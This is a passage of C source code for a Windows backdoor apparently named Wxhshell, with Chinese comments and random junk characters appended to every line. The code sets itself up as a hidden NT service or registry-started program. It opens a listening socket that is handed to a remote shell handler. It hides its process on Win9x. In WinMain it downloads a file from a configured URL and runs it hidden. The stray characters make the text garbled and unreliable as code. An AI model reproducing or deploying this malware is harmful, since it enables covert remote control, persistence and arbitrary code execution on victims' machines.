DWORD BasePriority; v#WD$9QWs
ULONG UniqueProcessId; T>\r}p
ULONG InheritedFromUniqueProcessId; Sm(t"#dp
} PROCESS_BASIC_INFORMATION; F3
z:|sTqc
"- XJZ;5
PROCNTQSIP NtQueryInformationProcess; NwB;9ZhZ
^ua8Ya
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @}B,l.Tj
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "FfIq;
=p29}^@@t
HANDLE hProcess; l
S m7i
PROCESS_BASIC_INFORMATION pbi; ((T0zQ7=
)Fw{|7@N
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); xKW`m
if(NULL == hInst ) return 0; [>y 0Xf9^
4~YPLu
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rbD}fUg
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +M %zOX/
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^geC?m
}:f
\!b
if (!NtQueryInformationProcess) return 0; ;S_\-
]m&g
rW<sQ0
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $b=4_UroS
if(!hProcess) return 0; s`E^1jC
u^NZsuak
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; dOfEEqPI
~+r"%KnG
CloseHandle(hProcess); ~:M"JNcs
dX8N7{"[
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]pi8%.d
if(hProcess==NULL) return 0; r|W2I,P
5oP31
HMODULE hMod; :2_8.+:
char procName[255]; yw3E$~ k
unsigned long cbNeeded; }jWZqIqj
S85}&\m&4
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !W3bHy:C"
@cz\'v6E
CloseHandle(hProcess); a$K.Or}
= ^OXP+o
if(strstr(procName,"services")) return 1; // 以服务启动 j9XRC9
eYD|`)-f<^
return 0; // 注册表启动 `3KXWN`.s
} _T)G?iv:&
2A^>>Q/,u
// 主模块 \vR&-+8dk
int StartWxhshell(LPSTR lpCmdLine) +o94w^'^$b
{ Z F&aV?
SOCKET wsl; 3xU in
BOOL val=TRUE; Mw,7+
int port=0; `NNr]__
struct sockaddr_in door; Mc#w:UH[
.tny"a&
if(wscfg.ws_autoins) Install(); 4LfD{-_uW
NrrnG]#p1
port=atoi(lpCmdLine); paG^W&`;
?'L3B4
if(port<=0) port=wscfg.ws_port; zld[uhc>
TDtS^(2A7K
WSADATA data; G6?+Qzr
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 28N
v'
3TS(il9A
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; "\]NOA*
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y>DvD)
door.sin_family = AF_INET; 'Lb-+X,
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?z]hYsy
door.sin_port = htons(port); 2V*<HlqOif
RIDzNdM>U
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }h PFd
closesocket(wsl); $B3<"
return 1; |9X$@R
} 9]DMHA@
L-}6}5[
if(listen(wsl,2) == INVALID_SOCKET) { x\r[Zp|
closesocket(wsl); TrBBV]4
return 1; H]XY
} ~)k OOoH
Wxhshell(wsl); r- :u*
WSACleanup(); 8LMO2Wyq
uIO<6p)
return 0; }{(dG7G+
1oSrhUTy
} $%3"@$
? !dy
// 以NT服务方式启动 DnZkZ;E/
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) s$,gM,|cK
{ #J,?oe=<4
DWORD status = 0; N5SePA\ ,?
DWORD specificError = 0xfffffff; *C*'J7
jM'kY|<g;
serviceStatus.dwServiceType = SERVICE_WIN32; c9 c_7g'q-
serviceStatus.dwCurrentState = SERVICE_START_PENDING; >)&]Ss5J
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; N`JkEd7TT
serviceStatus.dwWin32ExitCode = 0; %%dQIlF
serviceStatus.dwServiceSpecificExitCode = 0; aU)NbESu
serviceStatus.dwCheckPoint = 0; ZB5:FtW4
serviceStatus.dwWaitHint = 0; *QIlh""6
5ZX P$.
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D[NJ{E.{
if (hServiceStatusHandle==0) return; k[`9RGT
W8$ky[2R
status = GetLastError(); v%=@_`Ht
if (status!=NO_ERROR) 0^L>J"o
{ /ehmy(zL
serviceStatus.dwCurrentState = SERVICE_STOPPED; ^J
TrytIB
serviceStatus.dwCheckPoint = 0; b3Uw"{p
serviceStatus.dwWaitHint = 0; fXV+aZ
serviceStatus.dwWin32ExitCode = status; 41S.&-u
serviceStatus.dwServiceSpecificExitCode = specificError; {7%W/C#A
SetServiceStatus(hServiceStatusHandle, &serviceStatus); xDU{I0M
return; 4NY}=e5
} >+P5Zm(_
jOYa}jm?
serviceStatus.dwCurrentState = SERVICE_RUNNING; ^Pq4 n%x
serviceStatus.dwCheckPoint = 0; f[AN=M"B"s
serviceStatus.dwWaitHint = 0; ;9+[t8Y)D
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ODbEL/
} !Rq.L
1TagQ
// 处理NT服务事件,比如:启动、停止 <yw6Om:n<
VOID WINAPI NTServiceHandler(DWORD fdwControl) xE2sb*
{ &RzkM4"
switch(fdwControl)
WB7pdSZ
{ xnfMx$fD
case SERVICE_CONTROL_STOP: .]0u#fz0y
serviceStatus.dwWin32ExitCode = 0; AO R{Xm
serviceStatus.dwCurrentState = SERVICE_STOPPED; q$|Wxnz
serviceStatus.dwCheckPoint = 0; vSOO[.=
serviceStatus.dwWaitHint = 0; NM`5hd{
{ :oYz=c
SetServiceStatus(hServiceStatusHandle, &serviceStatus); -/y]'_a
} v `a:Lj
return; ,#u"$Hz8p
case SERVICE_CONTROL_PAUSE: Cw*:`
serviceStatus.dwCurrentState = SERVICE_PAUSED; .9cQq/{b
break; e6
R<V]g
case SERVICE_CONTROL_CONTINUE: zmw <y2`
serviceStatus.dwCurrentState = SERVICE_RUNNING; bp>-{Nv
break; Xiy9Oeq2uh
case SERVICE_CONTROL_INTERROGATE: ]WsQ=
break; Cj,Yy
}; b6mSPH@
SetServiceStatus(hServiceStatusHandle, &serviceStatus); YKUb'D:t]
} ,v#F6xv8
[eWZ^Eh"I
// 标准应用程序主函数 0bR)]"K
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) AqdQiZ^9
{ B#+0jdF;
YR 5C`o
// 获取操作系统版本 0:CIM
OsIsNt=GetOsVer(); m#i5}uHHg
GetModuleFileName(NULL,ExeFile,MAX_PATH); K4G43P5q`
TbUouoc
// 从命令行安装 sRMz[n5k
if(strpbrk(lpCmdLine,"iI")) Install(); z(8:7 G
\W,,@-
// 下载执行文件 /S9(rI<'
if(wscfg.ws_downexe) { )U?5O$M;lE
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vhEqHjR:
WinExec(wscfg.ws_filenam,SW_HIDE); *NC9S,eSP
} 8p;|&7
+E7Os|m
if(!OsIsNt) { LA837P
// 如果时win9x,隐藏进程并且设置为注册表启动 '{[n,xeR
HideProc(); (}#8$ )
StartWxhshell(lpCmdLine); NrVE[Z#
} 2`[iTBZ=^
else _s1pif
if(StartFromService()) @MoBR.
// 以服务方式启动 tbH`VD"u
StartServiceCtrlDispatcher(DispatchTable); 5Al1u|;HB
else *%nV<}e^_=
// 普通方式启动 :pp@x*uNP
StartWxhshell(lpCmdLine); 6w"_sK?
xk#q_!(j
return 0; TI<?h(*R_
}